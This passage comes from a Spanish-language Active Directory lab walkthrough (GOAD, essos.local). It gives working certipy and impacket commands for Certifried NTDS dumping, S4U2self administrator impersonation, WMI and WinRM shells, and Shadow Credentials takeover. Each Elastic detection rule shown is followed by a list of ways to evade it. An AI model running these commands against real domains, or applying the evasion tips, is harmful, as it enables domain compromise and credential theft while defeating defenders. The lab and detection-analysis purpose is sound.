```bash
certipy auth -pfx meereen.pfx -username 'meereen$' -domain essos.local -dc-ip 192.168.10.12
```
Utilizar el ticket de Kerberos obtenido para volcar NTDS:
```bash
export KRB5CCNAME=meereen.ccache
impacket-secretsdump -k -no-pass -just-dc-user daenerys.targaryen ESSOS.LOCAL/'meereen$'@meereen.essos.local
```
Eliminar la máquina creada utilizando una cuenta de administrador del dominio:
```bash
certipy account delete -u daenerys.targaryen@essos.local -hashes 'aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a' -user 'certifriedpc'
```
Si no puedes usar secretsdump para realizar un DCSync debido a productos de seguridad en el DC, o prefieres obtener una shell directamente, sigue estos pasos:
Tenemos el TGT del DC (exactamente como en la parte 5 para samaccountname). Utilizar impacket para suplantar al administrador y obtener un ST para acceder al DC como administrador (ver: https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse).
Recuerda usar el pull request correcto de impacket para usar esto, ve la parte 5 para la instalación (gracias de nuevo a shutdown por las adiciones a impacket):
```bash
export KRB5CCNAME=meereen.ccache
python3 myimpacket/examples/getST.py -self -impersonate 'administrator' -altservice 'CIFS/meereen.essos.local' -k -no-pass -dc-ip 'meereen.essos.local' 'essos.local'/'meereen'
```
Utilizar el ticket obtenido:
```bash
export KRB5CCNAME=administrator@CIFS_meereen.essos.local@ESSOS.LOCAL.ccache
impacket-wmiexec -k @meereen.essos.local
```
Detecciones de Elastic:
Elastic ha generado 7 alertas relacionadas con esta explotación.
Elastic ha detectado una ejecución de comandos sospechosa mediante WMI (Windows Management Instrumentation) en un host remoto, lo cual puede indicar un movimiento lateral de un adversario. Específicamente, se observó la ejecución del proceso cmd.exe como un proceso hijo del WmiPrvSE.exe, iniciado por el usuario Administrator en el host meereen. El comando ejecutado incluye redirección de salida estándar y error (`1> \\127.0.0.1\ADMIN$\__1718010788.8692026 2>&1`).
La consulta EQL detecta la ejecución de comandos sospechosos mediante WMI en hosts Windows, buscando eventos donde un proceso cmd.exe es iniciado por WmiPrvSE.exe y cuyos argumentos incluyen acceso a \\127.0.0.1\ y redirecciones de salida (2>&1, 1>). Esta combinación de condiciones identifica potenciales actividades maliciosas de adversarios que utilizan WMI para ejecutar comandos en sistemas remotos, facilitando la detección de movimientos laterales en la red.
Consulta EQL:
```
process where host.os.type == "windows" and event.type == "start" and
process.parent.name : "WmiPrvSE.exe" and process.name : "cmd.exe" and
process.args : "\\\\127.0.0.1\\*" and process.args : ("2>&1", "1>")
```
Para evitar la alerta, un atacante podría:
1. No usar `cmd.exe`: Utilizar otro intérprete de comandos, como `powershell.exe`.
2. Ofuscar argumentos: Modificar o codificar los argumentos del comando para que no coincidan directamente con los patrones `\\127.0.0.1\` y `2>&1`, `1>`.
3. Cambiar la dirección IP: Usar una dirección IP o nombre de host diferente a `127.0.0.1`.
4. Redirigir la salida de otra manera: Evitar redirecciones de salida estándar y de error específicas (`2>&1`, `1>`) o dirigir la salida a un archivo local.
Elastic ha detectado un movimiento lateral a través de la ejecución de procesos mediante la Instrumentación de Administración de Windows (WMI) en un host remoto. Este tipo de actividad puede indicar un movimiento lateral adversario, aunque también puede ser ruidoso si los administradores utilizan WMI para gestionar remotamente los hosts.
La consulta EQL (Event Query Language) utilizada por Elastic para detectar movimiento lateral mediante WMI sigue una secuencia de eventos en un período máximo de 2 segundos. Primero, identifica conexiones RPC entrantes aceptadas por el servicio Winmgmt en sistemas Windows, excluyendo direcciones IP locales y puertos menores a 49152. Luego, filtra los procesos iniciados por WmiPrvSE.exe, excluyendo aquellos con niveles de integridad de SYSTEM o usuarios específicos (como S-1-5-18), y omite ciertos ejecutables conocidos para evitar falsos positivos.
Consulta EQL:
```
sequence by host.id with maxspan = 2s
/* Accepted Incoming RPC connection by Winmgmt service */
[network where host.os.type == "windows" and process.name : "svchost.exe" and network.direction : ("incoming", "ingress") and
source.ip != "127.0.0.1" and source.ip != "::1" and source.port >= 49152 and destination.port >= 49152
]
/* Excluding Common FPs Nessus and SCCM */
[process where host.os.type == "windows" and event.type == "start" and process.parent.name : "WmiPrvSE.exe" and
not process.Ext.token.integrity_level_name : "system" and not user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and
not process.executable :
("?:\\Program Files\\HPWBEM\\Tools\\hpsum_swdiscovery.exe",
"?:\\Windows\\CCM\\Ccm32BitLauncher.exe",
"?:\\Windows\\System32\\wbem\\mofcomp.exe",
"?:\\Windows\\Microsoft.NET\\Framework*\\csc.exe",
"?:\\Windows\\System32\\powercfg.exe") and
not (process.executable : "?:\\Windows\\System32\\msiexec.exe" and process.args : "REBOOT=ReallySuppress") and
not (process.executable : "?:\\Windows\\System32\\inetsrv\\appcmd.exe" and process.args : "uninstall")
]
```
Para evitar generar esta alerta, un atacante podría:
1. Usar Direcciones IP Locales: Utilizar direcciones IP locales (127.0.0.1 o ::1) para evitar ser detectado por conexiones RPC entrantes.
2. Cambiar Puertos: Emplear puertos fuera del rango monitoreado (no usar puertos >= 49152).
3. Modificar Nombres de Procesos: Cambiar el nombre del proceso iniciado para que no sea identificado como WmiPrvSE.exe.
4. Usar Usuarios y Niveles de Integridad Permitidos: Iniciar procesos con usuarios o niveles de integridad que no sean excluidos (por ejemplo, evitar S-1-5-18, S-1-5-19, S-1-5-20).
5. Evitar Ejecutables Conocidos: No utilizar ejecutables y argumentos especificados en las exclusiones para procesos (como msiexec.exe con REBOOT=ReallySuppress).
Elastic ha detectado la creación remota de un archivo en un directorio sensible en un sistema. Este tipo de evento puede indicar la presencia de una actividad maliciosa, como la instalación de un binario o script que intenta comprometer el sistema. La alerta se ha generado porque un archivo con un nombre inusual (__1718010788.8692026) fue creado por el usuario "Administrator" en el sistema "meereen" bajo la ruta C:\Windows\.
La consulta EQL (Event Query Language) de Elastic busca eventos de creación o modificación de archivos en directorios sensibles, generados por procesos específicos como "System", "scp", "sshd", "smbd", "vsftpd", o "sftp-server", y excluye eventos realizados por usuarios del sistema como "SYSTEM" o "root". Esta consulta se enfoca en rutas críticas del sistema operativo, como `C:\Windows\`, `C:\Program Files\`, `/etc/`, `/usr/bin/`, entre otros, para identificar posibles actividades maliciosas, como la instalación de binarios o scripts no autorizados, indicando un posible compromiso del sistema mediante la explotación de servicios remotos.
Consulta EQL:
```
file where (event.action == "creation" or event.action == "modification") and
process.name:("System", "scp", "sshd", "smbd", "vsftpd", "sftp-server") and not
user.name:("SYSTEM", "root") and
(file.path : ("C*\\Users\\*\\AppData\\Roaming*", "C*\\Program*Files\\*",
"C*\\Windows\\*", "C*\\Windows\\System\\*",
"C*\\Windows\\System32\\*", "/etc/*", "/tmp*",
"/var/tmp*", "/home/*/.*", "/home/.*", "/usr/bin/*",
"/sbin/*", "/bin/*", "/usr/lib/*", "/usr/sbin/*",
"/usr/share/*", "/usr/local/*", "/var/lib/dpkg/*",
"/lib/systemd/*"
)
)
```
Para evitar generar esta alerta, un atacante podría:
1. Usar nombres de archivos comunes: Utilizar nombres de archivos que se asemejen a los archivos legítimos del sistema para no levantar sospechas.
2. Evitar directorios monitoreados: Crear archivos en directorios que no estén incluidos en la consulta, evitando rutas sensibles como `C:\Windows\` o `/usr/bin/`.
3. Utilizar usuarios menos privilegiados: Realizar acciones con cuentas que no sean de alto privilegio como "Administrator" o "root" para pasar desapercibido.
4. Emplear procesos no monitoreados: Usar procesos que no están especificados en la consulta como "System" o servicios de red comunes, para la creación o modificación de archivos.
También podemos realizar el mismo procedimiento utilizando WinRM para parecer aún más legítimos:
```bash
export KRB5CCNAME=meereen.ccache
python3 myimpacket/examples/getST.py -self -impersonate 'administrator' -altservice 'HTTP/meereen.essos.local' -k -no-pass -dc-ip 'meereen.essos.local' 'essos.local'/'meereen'
```
Nota: Aquí solicitamos un altservice HTTP/meereen.essos.local para uso de WinRM.
Utilizar el ticket obtenido:
```bash
export KRB5CCNAME=administrator@HTTP_meereen.essos.local@ESSOS.LOCAL.ccache
evil-winrm -i meereen.essos.local -r ESSOS.LOCAL
```
¡y voilà :)
Detecciones de Elastic:
Elastic ha detectado una actividad sospechosa relacionada con el uso del comando whoami.exe. Este comando muestra información sobre el usuario, los grupos y los privilegios del usuario que está actualmente logueado en el sistema. La alerta se generó porque whoami.exe fue ejecutado por el proceso wsmprovhost.exe bajo la cuenta Administrator en el host llamado meereen.
La consulta EQL de Elastic busca eventos de inicio de proceso (event.type == "start") en sistemas operativos Windows (host.os.type == "windows") donde el nombre del proceso es whoami.exe. Además, filtra aquellos casos donde el proceso padre es wsmprovhost.exe u otros procesos conocidos (w3wp.exe, wmiprvse.exe, rundll32.exe, regsvr32.exe). La consulta también excluye ciertos patrones comunes de uso legítimo, como ejecuciones desde cmd.exe con argumentos específicos, y procesos padres como appcmd.exe y algunos servicios de monitoreo. De esta manera, la consulta se enfoca en detectar ejecuciones inusuales o potencialmente maliciosas de whoami.exe, asociadas con técnicas de descubrimiento de información por atacantes.
Consulta EQL:
```
process where host.os.type == "windows" and event.type == "start" and process.name : "whoami.exe" and
(
(
/* scoped for whoami execution under system privileges */
(
user.domain : ("NT *", "* NT", "IIS APPPOOL") and
user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20", "S-1-5-82-*") and
not ?winlog.event_data.SubjectUserName : "*$"
) and
not (
process.parent.name : "cmd.exe" and
process.parent.args : (
"chcp 437>nul 2>&1 & C:\\WINDOWS\\System32\\whoami.exe /groups",
"chcp 437>nul 2>&1 & %systemroot%\\system32\\whoami /user",
"C:\\WINDOWS\\System32\\whoami.exe /groups",
"*WINDOWS\\system32\\config\\systemprofile*"
)
) and
not (process.parent.executable : "C:\\Windows\\system32\\inetsrv\\appcmd.exe" and process.parent.args : "LIST") and
not process.parent.executable : (
"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe",
"C:\\Program Files\\Cohesity\\cohesity_windows_agent_service.exe"
)
) or
process.parent.name : ("wsmprovhost.exe", "w3wp.exe", "wmiprvse.exe", "rundll32.exe", "regsvr32.exe")
)
```
Un atacante podría haber evitado generar esta alerta basada en la consulta de Elastic de las siguientes maneras:
1. Ejecución desde Procesos No Monitoreados: Utilizando `whoami.exe` desde procesos que no están incluidos en la lista de procesos padres monitoreados, como `explorer.exe`.
2. Modificación de Nombre o Ruta: Renombrando `whoami.exe` o copiándolo a un directorio diferente para ejecutar una versión no reconocida del comando.
3. Uso de Comandos Equivalentes: Empleando otros comandos o scripts personalizados que no sean específicamente `whoami.exe` pero que proporcionen información similar sin ser detectados por la regla.
4. Ejecución con Contexto Legítimo: Realizando la ejecución dentro de scripts o tareas programadas que son comúnmente utilizados y aprobados en el entorno de la organización, para camuflar la actividad maliciosa entre actividades legítimas.
## Shadow Credentials
El ataque conocido como "Shadow Credentials" consiste en aprovechar los privilegios de GenericAll o GenericWrite en un usuario o equipo para configurar el atributo msDS-KeyCredentialLink. Puedes encontrar una explicación detallada en [este artículo](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).
Para obtener información sobre el movimiento DACL, consulta el sitio web de shutdown (@_nwodtuhs) en [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/dacl).
Cuando se tiene el privilegio GenericWrite sobre otro usuario, se pueden realizar las siguientes acciones:
- **Kerberoasting**: Agregar un SPN (Service Principal Name) a un usuario, realizar un ataque de kerberoasting y luego eliminar el SPN. Sin embargo, para que el ataque de kerberoasting sea efectivo, la contraseña del usuario debe ser débil.
- **Configurar un script de inicio de sesión**: Modificar parámetros de LDAP para establecer un script de inicio de sesión. Esto requiere que el usuario inicie sesión en su equipo, en un servidor SMB o en un recurso compartido, y configurar un script que evada las soluciones de seguridad existentes.
- **Shadow Credentials**: El ataque que queremos realizar, para el cual se necesita un servicio de certificados en el dominio.
Con el privilegio GenericAll, se pueden realizar las siguientes acciones:
- **ForceChangePassword**: Aunque es posible forzar el cambio de contraseña de un usuario, en un pentest real no es recomendable bloquear a un usuario cambiando su contraseña, ya que esto no es sigiloso. Es preferible buscar métodos alternativos.
- Todas las acciones disponibles con GenericWrite.
Si el servicio ADCS (Active Directory Certificate Services) está habilitado en el dominio y se tienen privilegios de escritura en msDS-KeyCredentialLink, se puede ejecutar el ataque de Shadow Credentials para obtener acceso directo a la cuenta de usuario. Esta es una estrategia efectiva en un pentest real.
La herramienta Certipy incluye soporte para este ataque (también se puede realizar con [pyWhisker](https://github.com/ShutdownRepo/pywhisker)):
```bash
certipy shadow auto -u khal.drogo@essos.local -p 'horse' -account 'viserys.targaryen'
```
El mismo ataque se puede realizar de viserys a jorah:
```bash
certipy shadow auto -u viserys.targaryen@essos.local -hashes 'd96a55df6bef5e0b4d6d956088036097' -account 'jorah.mormont'
```
En la próxima sección (GOAD pwning parte 7), nos divertiremos explotando MSSQL en el laboratorio.
Sign in with Wallet
Connect another wallet